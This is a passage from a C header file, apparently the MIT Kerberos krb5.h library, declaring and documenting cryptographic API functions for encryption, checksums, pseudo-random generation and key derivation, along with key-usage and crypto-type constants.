inputlen, size_t *length); /** * Return cipher block size. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [out] blocksize Block size for @a enctype * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_block_size(krb5_context context, krb5_enctype enctype, size_t *blocksize); /** * Return length of the specified key in bytes. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [out] keybytes Number of bytes required to make a key * @param [out] keylength Length of final key * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_keylengths(krb5_context context, krb5_enctype enctype, size_t *keybytes, size_t *keylength); /** * Initialize a new cipher state. * * @param [in] context Library context * @param [in] key Key * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [out] new_state New cipher state * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_init_state(krb5_context context, const krb5_keyblock *key, krb5_keyusage usage, krb5_data *new_state); /** * Free a cipher state previously allocated by krb5_c_init_state(). * * @param [in] context Library context * @param [in] key Key * @param [in] state Cipher state to be freed * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_free_state(krb5_context context, const krb5_keyblock *key, krb5_data *state); /** * Generate enctype-specific pseudo-random bytes. * * @param [in] context Library context * @param [in] keyblock Key * @param [in] input Input data * @param [out] output Output data * * This function selects a pseudo-random function based on @a keyblock and * computes its value over @a input, placing the result into @a output. * The caller must preinitialize @a output and allocate space for the * result, using krb5_c_prf_length() to determine the required length. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_prf(krb5_context context, const krb5_keyblock *keyblock, krb5_data *input, krb5_data *output); /** * Get the output length of pseudo-random functions for an encryption type. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [out] len Length of PRF output * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_prf_length(krb5_context context, krb5_enctype enctype, size_t *len); /** * Generate pseudo-random bytes using RFC 6113 PRF+. * * @param [in] context Library context * @param [in] k KDC contribution key * @param [in] input Input data * @param [out] output Pseudo-random output buffer * * This function fills @a output with PRF+(k, input) as defined in RFC 6113 * section 5.1. The caller must preinitialize @a output and allocate the * desired amount of space. The length of the pseudo-random output will match * the length of @a output. * * @note RFC 4402 defines a different PRF+ operation. This function does not * implement that operation. * * @return 0 on success, @c E2BIG if output->length is too large for PRF+ to * generate, @c ENOMEM on allocation failure, or an error code from * krb5_c_prf() */ krb5_error_code KRB5_CALLCONV krb5_c_prfplus(krb5_context context, const krb5_keyblock *k, const krb5_data *input, krb5_data *output); /** * Derive a key using some input data (via RFC 6113 PRF+). * * @param [in] context Library context * @param [in] k KDC contribution key * @param [in] input Input string * @param [in] enctype Output key enctype (or @c ENCTYPE_NULL) * @param [out] out Derived keyblock * * This function uses PRF+ as defined in RFC 6113 to derive a key from another * key and an input string. If @a enctype is @c ENCTYPE_NULL, the output key * will have the same enctype as the input key. */ krb5_error_code KRB5_CALLCONV krb5_c_derive_prfplus(krb5_context context, const krb5_keyblock *k, const krb5_data *input, krb5_enctype enctype, krb5_keyblock **out); /** * Compute the KRB-FX-CF2 combination of two keys and pepper strings. * * @param [in] context Library context * @param [in] k1 KDC contribution key * @param [in] pepper1 String "PKINIT" * @param [in] k2 Reply key * @param [in] pepper2 String "KeyExchange" * @param [out] out Output key * * This function computes the KRB-FX-CF2 function over its inputs and places * the results in a newly allocated keyblock. This function is simple in that * it assumes that @a pepper1 and @a pepper2 are C strings with no internal * nulls and that the enctype of the result will be the same as that of @a k1. * @a k1 and @a k2 may be of different enctypes. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_fx_cf2_simple(krb5_context context, const krb5_keyblock *k1, const char *pepper1, const krb5_keyblock *k2, const char *pepper2, krb5_keyblock **out); /** * Generate an enctype-specific random encryption key. * * @param [in] context Library context * @param [in] enctype Encryption type of the generated key * @param [out] k5_random_key An allocated and initialized keyblock * * Use krb5_free_keyblock_contents() to free @a k5_random_key when * no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_make_random_key(krb5_context context, krb5_enctype enctype, krb5_keyblock *k5_random_key); /** * Generate an enctype-specific key from random data. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [in] random_data Random input data * @param [out] k5_random_key Resulting key * * This function takes random input data @a random_data and produces a valid * key @a k5_random_key for a given @a enctype. * * @note It is assumed that @a k5_random_key has already been initialized and * @a k5_random_key->contents has been allocated with the correct length. * * @sa krb5_c_keylengths() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_random_to_key(krb5_context context, krb5_enctype enctype, krb5_data *random_data, krb5_keyblock *k5_random_key); /** * Add entropy to the pseudo-random number generator. * * @param [in] context Library context * @param [in] randsource Entropy source (see KRB5_RANDSOURCE types) * @param [in] data Data * * Contribute entropy to the PRNG used by krb5 crypto operations. This may or * may not affect the output of the next crypto operation requiring random * data. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_random_add_entropy(krb5_context context, unsigned int randsource, const krb5_data *data); /** * Generate pseudo-random bytes. * * @param [in] context Library context * @param [out] data Random data * * Fills in @a data with bytes from the PRNG used by krb5 crypto operations. * The caller must preinitialize @a data and allocate the desired amount of * space. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_random_make_octets(krb5_context context, krb5_data *data); /** * Collect entropy from the OS if possible. * * @param [in] context Library context * @param [in] strong Strongest available source of entropy * @param [out] success 1 if OS provides entropy, 0 otherwise * * If @a strong is non-zero, this function attempts to use the strongest * available source of entropy. Setting this flag may cause the function to * block on some operating systems. Good uses include seeding the PRNG for * kadmind and realm setup. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_random_os_entropy(krb5_context context, int strong, int *success); /** @deprecated Replaced by krb5_c_* API family. */ krb5_error_code KRB5_CALLCONV krb5_c_random_seed(krb5_context context, krb5_data *data); /** * Convert a string (such a password) to a key. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [in] string String to be converted * @param [in] salt Salt value * @param [out] key Generated key * * This function converts @a string to a @a key of encryption type @a enctype, * using the specified @a salt. The newly created @a key must be released by * calling krb5_free_keyblock_contents() when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_string_to_key(krb5_context context, krb5_enctype enctype, const krb5_data *string, const krb5_data *salt, krb5_keyblock *key); /** * Convert a string (such as a password) to a key with additional parameters. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [in] string String to be converted * @param [in] salt Salt value * @param [in] params Parameters * @param [out] key Generated key * * This function is similar to krb5_c_string_to_key(), but also takes * parameters which may affect the algorithm in an enctype-dependent way. The * newly created @a key must be released by calling * krb5_free_keyblock_contents() when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_string_to_key_with_params(krb5_context context, krb5_enctype enctype, const krb5_data *string, const krb5_data *salt, const krb5_data *params, krb5_keyblock *key); /** * Compare two encryption types. * * @param [in] context Library context * @param [in] e1 First encryption type * @param [in] e2 Second encryption type * @param [out] similar @c TRUE if types are similar, @c FALSE if not * * This function determines whether two encryption types use the same kind of * keys. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_enctype_compare(krb5_context context, krb5_enctype e1, krb5_enctype e2, krb5_boolean *similar); /** * Compute a checksum (operates on keyblock). * * @param [in] context Library context * @param [in] cksumtype Checksum type (0 for mandatory type) * @param [in] key Encryption key for a keyed checksum * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in] input Input data * @param [out] cksum Generated checksum * * This function computes a checksum of type @a cksumtype over @a input, using * @a key if the checksum type is a keyed checksum. If @a cksumtype is 0 and * @a key is non-null, the checksum type will be the mandatory-to-implement * checksum type for the key's encryption type. The actual checksum key will * be derived from @a key and @a usage if key derivation is specified for the * checksum type. The newly created @a cksum must be released by calling * krb5_free_checksum_contents() when it is no longer needed. * * @note This function is similar to krb5_k_make_checksum(), but operates * on keyblock @a key. * * @sa krb5_c_verify_checksum() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_make_checksum(krb5_context context, krb5_cksumtype cksumtype, const krb5_keyblock *key, krb5_keyusage usage, const krb5_data *input, krb5_checksum *cksum); /** * Verify a checksum (operates on keyblock). * * @param [in] context Library context * @param [in] key Encryption key for a keyed checksum * @param [in] usage @a key usage * @param [in] data Data to be used to compute a new checksum * using @a key to compare @a cksum against * @param [in] cksum Checksum to be verified * @param [out] valid Non-zero for success, zero for failure * * This function verifies that @a cksum is a valid checksum for @a data. If * the checksum type of @a cksum is a keyed checksum, @a key is used to verify * the checksum. If the checksum type in @a cksum is 0 and @a key is not NULL, * the mandatory checksum type for @a key will be used. The actual checksum * key will be derived from @a key and @a usage if key derivation is specified * for the checksum type. * * @note This function is similar to krb5_k_verify_checksum(), but operates * on keyblock @a key. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_verify_checksum(krb5_context context, const krb5_keyblock *key, krb5_keyusage usage, const krb5_data *data, const krb5_checksum *cksum, krb5_boolean *valid); /** * Return the length of checksums for a checksum type. * * @param [in] context Library context * @param [in] cksumtype Checksum type * @param [out] length Checksum length * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_checksum_length(krb5_context context, krb5_cksumtype cksumtype, size_t *length); /** * Return a list of keyed checksum types usable with an encryption type. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [out] count Count of allowable checksum types * @param [out] cksumtypes Array of allowable checksum types * * Use krb5_free_cksumtypes() to free @a cksumtypes when it is no longer * needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_keyed_checksum_types(krb5_context context, krb5_enctype enctype, unsigned int *count, krb5_cksumtype **cksumtypes); /** @defgroup KRB5_KEYUSAGE KRB5_KEYUSAGE * @{ */ #define KRB5_KEYUSAGE_AS_REQ_PA_ENC_TS 1 #define KRB5_KEYUSAGE_KDC_REP_TICKET 2 #define KRB5_KEYUSAGE_AS_REP_ENCPART 3 #define KRB5_KEYUSAGE_TGS_REQ_AD_SESSKEY 4 #define KRB5_KEYUSAGE_TGS_REQ_AD_SUBKEY 5 #define KRB5_KEYUSAGE_TGS_REQ_AUTH_CKSUM 6 #define KRB5_KEYUSAGE_TGS_REQ_AUTH 7 #define KRB5_KEYUSAGE_TGS_REP_ENCPART_SESSKEY 8 #define KRB5_KEYUSAGE_TGS_REP_ENCPART_SUBKEY 9 #define KRB5_KEYUSAGE_AP_REQ_AUTH_CKSUM 10 #define KRB5_KEYUSAGE_AP_REQ_AUTH 11 #define KRB5_KEYUSAGE_AP_REP_ENCPART 12 #define KRB5_KEYUSAGE_KRB_PRIV_ENCPART 13 #define KRB5_KEYUSAGE_KRB_CRED_ENCPART 14 #define KRB5_KEYUSAGE_KRB_SAFE_CKSUM 15 #define KRB5_KEYUSAGE_APP_DATA_ENCRYPT 16 #define KRB5_KEYUSAGE_APP_DATA_CKSUM 17 #define KRB5_KEYUSAGE_KRB_ERROR_CKSUM 18 #define KRB5_KEYUSAGE_AD_KDCISSUED_CKSUM 19 #define KRB5_KEYUSAGE_AD_MTE 20 #define KRB5_KEYUSAGE_AD_ITE 21 /* XXX need to register these */ #define KRB5_KEYUSAGE_GSS_TOK_MIC 22 #define KRB5_KEYUSAGE_GSS_TOK_WRAP_INTEG 23 #define KRB5_KEYUSAGE_GSS_TOK_WRAP_PRIV 24 /* Defined in Integrating SAM Mechanisms with Kerberos draft */ #define KRB5_KEYUSAGE_PA_SAM_CHALLENGE_CKSUM 25 /** Note conflict with @ref KRB5_KEYUSAGE_PA_S4U_X509_USER_REQUEST */ #define KRB5_KEYUSAGE_PA_SAM_CHALLENGE_TRACKID 26 /** Note conflict with @ref KRB5_KEYUSAGE_PA_S4U_X509_USER_REPLY */ #define KRB5_KEYUSAGE_PA_SAM_RESPONSE 27 /* Defined in [MS-SFU] */ /** Note conflict with @ref KRB5_KEYUSAGE_PA_SAM_CHALLENGE_TRACKID */ #define KRB5_KEYUSAGE_PA_S4U_X509_USER_REQUEST 26 /** Note conflict with @ref KRB5_KEYUSAGE_PA_SAM_RESPONSE */ #define KRB5_KEYUSAGE_PA_S4U_X509_USER_REPLY 27 /* unused */ #define KRB5_KEYUSAGE_PA_REFERRAL 26 #define KRB5_KEYUSAGE_AD_SIGNEDPATH -21 #define KRB5_KEYUSAGE_IAKERB_FINISHED 42 #define KRB5_KEYUSAGE_PA_PKINIT_KX 44 #define KRB5_KEYUSAGE_PA_OTP_REQUEST 45 /**< See RFC 6560 section 4.2 */ /* define in draft-ietf-krb-wg-preauth-framework*/ #define KRB5_KEYUSAGE_FAST_REQ_CHKSUM 50 #define KRB5_KEYUSAGE_FAST_ENC 51 #define KRB5_KEYUSAGE_FAST_REP 52 #define KRB5_KEYUSAGE_FAST_FINISHED 53 #define KRB5_KEYUSAGE_ENC_CHALLENGE_CLIENT 54 #define KRB5_KEYUSAGE_ENC_CHALLENGE_KDC 55 #define KRB5_KEYUSAGE_AS_REQ 56 #define KRB5_KEYUSAGE_CAMMAC 64 #define KRB5_KEYUSAGE_SPAKE 65 /* Key usage values 512-1023 are reserved for uses internal to a Kerberos * implementation. */ #define KRB5_KEYUSAGE_PA_FX_COOKIE 513 /**< Used for encrypted FAST cookies */ #define KRB5_KEYUSAGE_PA_AS_FRESHNESS 514 /**< Used for freshness tokens */ /** @} */ /* end of KRB5_KEYUSAGE group */ /** * Verify that a specified encryption type is a valid Kerberos encryption type. * * @param [in] ktype Encryption type * * @return @c TRUE if @a ktype is valid, @c FALSE if not */ krb5_boolean KRB5_CALLCONV krb5_c_valid_enctype(krb5_enctype ktype); /** * Verify that specified checksum type is a valid Kerberos checksum type. * * @param [in] ctype Checksum type * * @return @c TRUE if @a ctype is valid, @c FALSE if not */ krb5_boolean KRB5_CALLCONV krb5_c_valid_cksumtype(krb5_cksumtype ctype); /** * Test whether a checksum type is collision-proof. * * @param [in] ctype Checksum type * * @return @c TRUE if @a ctype is collision-proof, @c FALSE if it is not * collision-proof or not a valid checksum type. */ krb5_boolean KRB5_CALLCONV krb5_c_is_coll_proof_cksum(krb5_cksumtype ctype); /** * Test whether a checksum type is keyed. * * @param [in] ctype Checksum type * * @return @c TRUE if @a ctype is a keyed checksum type, @c FALSE otherwise. */ krb5_boolean KRB5_CALLCONV krb5_c_is_keyed_cksum(krb5_cksumtype ctype); /* AEAD APIs */ /** @defgroup KRB5_CRYPTO_TYPE KRB5_CRYPTO_TYPE * @{ */ #define KRB5_CRYPTO_TYPE_EMPTY 0 /**< [in] ignored */ #define KRB5_CRYPTO_TYPE_HEADER 1 /**< [out] header */ #define KRB5_CRYPTO_TYPE_DATA 2 /**< [in, out] plaintext */ #define KRB5_CRYPTO_TYPE_SIGN_ONLY 3 /**< [in] associated data */ #define KRB5_CRYPTO_TYPE_PADDING 4 /**< [out] padding */ #define KRB5_CRYPTO_TYPE_TRAILER 5 /**< [out] checksum for encrypt */ #define KRB5_CRYPTO_TYPE_CHECKSUM 6 /**< [out] checksum for MIC */ #define KRB5_CRYPTO_TYPE_STREAM 7 /**< [in] entire message without decomposing the structure into header, data and trailer buffers */ /** @} */ /* end of KRB5_CRYPTO_TYPE group */ /** * Fill in a checksum element in IOV array (operates on keyblock) * * @param [in] context Library context * @param [in] cksumtype Checksum type (0 for mandatory type) * @param [in] key Encryption key for a keyed checksum * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in,out] data IOV array * @param [in] num_data Size of @a data * * Create a checksum in the #KRB5_CRYPTO_TYPE_CHECKSUM element over * #KRB5_CRYPTO_TYPE_DATA and #KRB5_CRYPTO_TYPE_SIGN_ONLY chunks in @a data. * Only the #KRB5_CRYPTO_TYPE_CHECKSUM region is modified. * * @note This function is similar to krb5_k_make_checksum_iov(), but operates * on keyblock @a key. * * @sa krb5_c_verify_checksum_iov() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_make_checksum_iov(krb5_context context, krb5_cksumtype cksumtype, const krb5_keyblock *key, krb5_keyusage usage, krb5_crypto_iov *data, size_t num_data); /** * Validate a checksum element in IOV array (operates on keyblock). * * @param [in] context Library context * @param [in] cksumtype Checksum type (0 for mandatory type) * @param [in] key Encryption key for a keyed checksum * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in] data IOV array * @param [in] num_data Size of @a data * @param [out] valid Non-zero for success, zero for failure * * Confirm that the checksum in the #KRB5_CRYPTO_TYPE_CHECKSUM element is a * valid checksum of the #KRB5_CRYPTO_TYPE_DATA and #KRB5_CRYPTO_TYPE_SIGN_ONLY * regions in the iov. * * @note This function is similar to krb5_k_verify_checksum_iov(), but operates * on keyblock @a key. * * @sa krb5_c_make_checksum_iov() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_verify_checksum_iov(krb5_context context, krb5_cksumtype cksumtype, const krb5_keyblock *key, krb5_keyusage usage, const krb5_crypto_iov *data, size_t num_data, krb5_boolean *valid); /** * Encrypt data in place supporting AEAD (operates on keyblock). * * @param [in] context Library context * @param [in] keyblock Encryption key * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in] cipher_state Cipher state; specify NULL if not needed * @param [in,out] data IOV array. Modified in-place. * @param [in] num_data Size of @a data * * This function encrypts the data block @a data and stores the output in-place. * The actual encryption key will be derived from @a keyblock and @a usage * if key derivation is specified for the encryption type. If non-null, @a * cipher_state specifies the beginning state for the encryption operation, and * is updated with the state to be passed as input to the next operation. * The caller must allocate the right number of krb5_crypto_iov * structures before calling into this API. * * @note On return from a krb5_c_encrypt_iov() call, the @a data->length in the * iov structure are adjusted to reflect actual lengths of the ciphertext used. * For example, if the padding length is too large, the length will be reduced. * Lengths are never increased. * * @note This function is similar to krb5_k_encrypt_iov(), but operates * on keyblock @a keyblock. * * @sa krb5_c_decrypt_iov() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_encrypt_iov(krb5_context context, const krb5_keyblock *keyblock, krb5_keyusage usage, const krb5_data *cipher_state, krb5_crypto_iov *data, size_t num_data); /** * Decrypt data in place supporting AEAD (operates on keyblock). * * @param [in] context Library context * @param [in] keyblock Encryption key * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in] cipher_state Cipher state; specify NULL if not needed * @param [in,out] data IOV array. Modified in-place. * @param [in] num_data Size of @a data * * This function decrypts the data block @a data and stores the output in-place. * The actual decryption key will be derived from @a keyblock and @a usage * if key derivation is specified for the encryption type. If non-null, @a * cipher_state specifies the beginning state for the decryption operation, and * is updated with the state to be passed as input to the next operation. * The caller must allocate the right number of krb5_crypto_iov * structures before calling into this API. * * @note On return from a krb5_c_decrypt_iov() call, the @a data->length in the * iov structure are adjusted to reflect actual lengths of the ciphertext used. * For example, if the padding length is too large, the length will be reduced. * Lengths are never increased. * * @note This function is similar to krb5_k_decrypt_iov(), but operates * on keyblock @a keyblock. * * @sa krb5_c_decrypt_iov() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_decrypt_iov(krb5_context context, const krb5_keyblock *keyblock, krb5_keyusage usage, const krb5_data *cipher_state, krb5_crypto_iov *data, size_t num_data); /** * Return a length of a message field specific to the encryption type. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [in] type Type field (See @ref KRB5_CRYPTO_TYPE types) * @param [out] size Length of the @a type specific to @a enctype * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_crypto_length(krb5_context context, krb5_enctype enctype, krb5_cryptotype type, unsigned int *size); /** * Fill in lengths for header, trailer and padding in a IOV array. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [in,out] data IOV array * @param [in] num_data Size of @a data * * Padding is set to the actual padding required based on the provided * @a data buffers. Typically this API is used after setting up the data * buffers and #KRB5_CRYPTO_TYPE_SIGN_ONLY buffers, but before actually * allocating header, trailer and padding. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_crypto_length_iov(krb5_context context, krb5_enctype enctype, krb5_crypto_iov *data, size_t num_data); /** * Return a number of padding octets. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [in] data_length Length of the plaintext to pad * @param [out] size Number of padding octets * * This function returns the number of the padding octets required to pad * @a data_length octets of plaintext. * * @retval 0 Success; otherwise - KRB5_BAD_ENCTYPE */ krb5_error_code KRB5_CALLCONV krb5_c_padding_length(krb5_context context, krb5_enctype enctype, size_t data_length, unsigned int *size); /** * Create a krb5_key from the enctype and key data in a keyblock. * * @param [in] context Library context * @param [in] key_data Keyblock * @param [out] out Opaque key * * The reference count on a key @a out is set to 1. * Use krb5_k_free_key() to free @a out when it is no longer needed. * * @retval 0 Success; otherwise - KRB5_BAD_ENCTYPE */ krb5_error_code KRB5_CALLCONV krb5_k_create_key(krb5_context context, const krb5_keyblock *key_data, krb5_key *out); /** Increment the reference count on a key. */ void KRB5_CALLCONV krb5_k_reference_key(krb5_context context, krb5_key key); /** Decrement the reference count on a key and free it if it hits zero. */ void KRB5_CALLCONV krb5_k_free_key(krb5_context context, krb5_key key); /** Retrieve a copy of the keyblock from a krb5_key structure. */ krb5_error_code KRB5_CALLCONV krb5_k_key_keyblock(krb5_context context, krb5_key key, krb5_keyblock **key_data); /** Retrieve the enctype of a krb5_key structure. */ krb5_enctype KRB5_CALLCONV krb5_k_key_enctype(krb5_context context, krb5_key key); /** * Encrypt data using a key (operates on opaque key). * * @param [in] context Library context * @param [in] key Encryption key * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in,out] cipher_state Cipher state; specify NULL if not needed * @param [in] input Data to be encrypted * @param [out] output Encrypted data * * This function encrypts the data block @a input and stores the output into @a * output. The actual encryption key will be derived from @a key and @a usage * if key derivation is specified for the encryption type. If non-null, @a * cipher_state specifies the beginning state for the encryption operation, and * is updated with the state to be passed as input to the next operation. * * @note The caller must initialize @a output and allocate at least enough * space for the result (using krb5_c_encrypt_length() to determine the amount * of space needed). @a output->length will be set to the actual length of the * ciphertext. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_k_encrypt(krb5_context context, krb5_key key, krb5_keyusage usage, const krb5_data *cipher_state, const krb5_data *input, krb5_enc_data *output); /** * Encrypt data in place supporting AEAD (operates on opaque key). * * @param [in] context Library context * @param [in] key Encryption key * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in] cipher_state Cipher state; specify NULL if not needed * @param [in,out] data IOV array. Modified in-place. * @param [in] num_data Size of @a data * * This function encrypts the data block @a data and stores the output in-place. * The actual encryption key will be derived from @a key and @a usage * if key derivation is specified for the encryption type. If non-null, @a * cipher_state specifies the beginning state for the encryption operation, and * is updated with the state to be passed as input to the next operation. * The caller must allocate the right number of krb5_crypto_iov * structures before calling into this API. * * @note On return from a krb5_c_encrypt_iov() call, the @a data->length in the * iov structure are adjusted to reflect actual lengths of the ciphertext used. * For example, if the padding length is too large, the length will be reduced. * Lengths are never increased. * * @note This function is similar to krb5_c_encrypt_iov(), but operates * on opaque key @a key. * * @sa krb5_k_decrypt_iov() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_k_encrypt_iov(krb5_context context, krb5_key key, krb5_keyusage usage, const krb5_data *cipher_state, krb5_crypto_iov *data, size_t num_data); /** * Decrypt data using a key (operates on opaque key). * * @param [in] context Library context * @param [in] key Encryption key * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in,out] cipher_state Cipher state; specify NULL if not needed * @param [in] input Encrypted data * @param [out] output Decrypted data * * This function decrypts the data block @a input and stores the output into @a * output. The actual decryption key will be derived from @a key and @a usage * if key derivation is specified for the encryption type. If non-null, @a * cipher_state specifies the beginning state for the decryption operation, and * is updated with the state to be passed as input to the next operation. * * @note The caller must initialize @a output and allocate at least enough * space for the result. The usual practice is to allocate an output buffer as * long as the ciphertext, and let krb5_c_decrypt() trim @a output->length. * For some enctypes, the resulting @a output->length may include padding * bytes. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_k_decrypt(krb5_context context, krb5_key key, krb5_keyusage usage, const krb5_data *cipher_state, const krb5_enc_data *input, krb5_data *output); /** * Decrypt data in place supporting AEAD (operates on opaque key). * * @param [in] context Library context * @param [in] key Encryption key * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in] cipher_state Cipher state; specify NULL if not needed * @param [in,out] data IOV array. Modified in-place. * @param [in] num_data Size of @a data * * This function decrypts the data block @a data and stores the output in-place. * The actual decryption key will be derived from @a key and @a usage * if key derivation is specified for the encryption type. If non-null, @a * cipher_state specifies the beginning state for the decryption operation, and * is updated with the state to be passed as input to the next operation. * The caller must allocate the right number of krb5_crypto_iov * structures before calling into this API. * * @note On return from a krb5_c_decrypt_iov() call, the @a data->length in the * iov structure are adjusted to reflect actual lengths of the ciphertext used. * For example, if the padding length is too large, the length will be reduced. * Lengths are never increased. * * @note This function is similar to krb5_c_decrypt_iov(), but operates * on opaque key @a key. * * @sa krb5_k_encrypt_iov() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_k_decrypt_iov(krb5_context context, krb5_key key, krb5_keyusage usage, const krb5_data *cipher_state, krb5_crypto_iov *data, size_t num_data); /** * Compute a checksum (operates on opaque key). * * @param [in] context Library context * @param [in] cksumtype Checksum type (0 for mandatory type) * @param [in] key Encryption key for a keyed checksum * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in] input Input data * @param [out] cksum Generated checksum * * This function computes a checksum of type @a cksumtype over @a input, using * @a key if the checksum type is a keyed checksum. If @a cksumtype is 0 and * @a key is non-null, the checksum type will be the mandatory-to-implement * checksum type for the key's encryption type. The actual checksum key will * be derived from @a key and @a usage if key derivation is specified for the * checksum type. The newly created @a cksum must be released by calling * krb5_free_checksum_contents() when it is no longer needed. * * @note This function is similar to krb5_c_make_checksum(), but operates * on opaque @a key. * * @sa krb5_c_verify_checksum() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_k_make_checksum(krb5_context context, krb5_cksumtype cksumtype, krb5_key key, krb5_keyusage usage, const krb5_data *input, krb5_checksum *cksum); /** * Fill in a checksum element in IOV array (operates on opaque key) * * @param [in] context Library context * @param [in] cksumtype Checksum type (0 for mandatory type) * @param [in] key Encryption key for a keyed checksum * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in,out] data IOV array * @param [in] num_data Size of @a data * * Create a checksum in the #KRB5_CRYPTO_TYPE_CHECKSUM element over * #KRB5_CRYPTO_TYPE_DATA and #KRB5_CRYPTO_TYPE_SIGN_ONLY chunks in @a data. * Only the #KRB5_CRYPTO_TYPE_CHECKSUM region is modified. * * @note This function is similar to krb5_c_make_checksum_iov(), but operates * on opaque @a key. * * @sa krb5_k_verify_checksum_iov() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_k_make_checksum_iov(krb5_context context, krb5_cksumtype cksumtype, krb5_key key, krb5_keyusage usage, krb5_crypto_iov *data, size_t num_data); /** * Verify a checksum (operates on opaque key). * * @param [in] context Library context * @param [in] key Encryption key for a keyed checksum * @param [in] usage @a key usage * @param [in] data Data to be used to compute a new checksum * using @a key to compare @a cksum against * @param [in] cksum Checksum to be verified * @param [out] valid Non-zero for success, zero for failure * * This function verifies that @a cksum is a valid checksum for @a data. If * the checksum type of @a cksum is a keyed checksum, @a key is used to verify * the checksum. If the checksum type in @a cksum is 0 and @a key is not NULL, * the mandatory checksum type for @a key will be used. The actual checksum * key will be derived from @a key and @a usage if key derivation is specified * for the checksum type. * * @note This function is similar to krb5_c_verify_checksum(), but operates * on opaque @a key. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_k_verify_checksum(krb5_context context, krb5_key key, krb5_keyusage usage, const krb5_data *data, const krb5_checksum *cksum, krb5_boolean *valid); /** * Validate a checksum element in IOV array (operates on opaque key). * * @param [in] context Library context * @param [in] cksumtype Checksum type (0 for mandatory type) * @param [in] key Encryption key for a keyed checksum * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in] data IOV array * @param [in] num_data Size of @a data * @param [out] valid Non-zero for success, zero for failure * * Confirm that the checksum in the #KRB5_CRYPTO_TYPE_CHECKSUM element is a * valid checksum of the #KRB5_CRYPTO_TYPE_DATA and #KRB5_CRYPTO_TYPE_SIGN_ONLY * regions in the iov. * * @note This function is similar to krb5_c_verify_checksum_iov(), but operates * on opaque @a key. * * @sa krb5_k_make_checksum_iov() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_k_verify_checksum_iov(krb5_context context, krb5_cksumtype cksumtype, krb5_key key, krb5_keyusage usage, const krb5_crypto_iov *data, size_t num_data, krb5_boolean *valid); /** * Generate enctype-specific pseudo-random bytes (operates on opaque key). * * @param [in] context Library context * @param [in] key Key * @param [in] input Input data * @param [out] output Output data * * This function selects a pseudo-random function based on @a key and * computes its value over @a input, placing the result into @a output. * The caller must preinitialize @a output and allocate 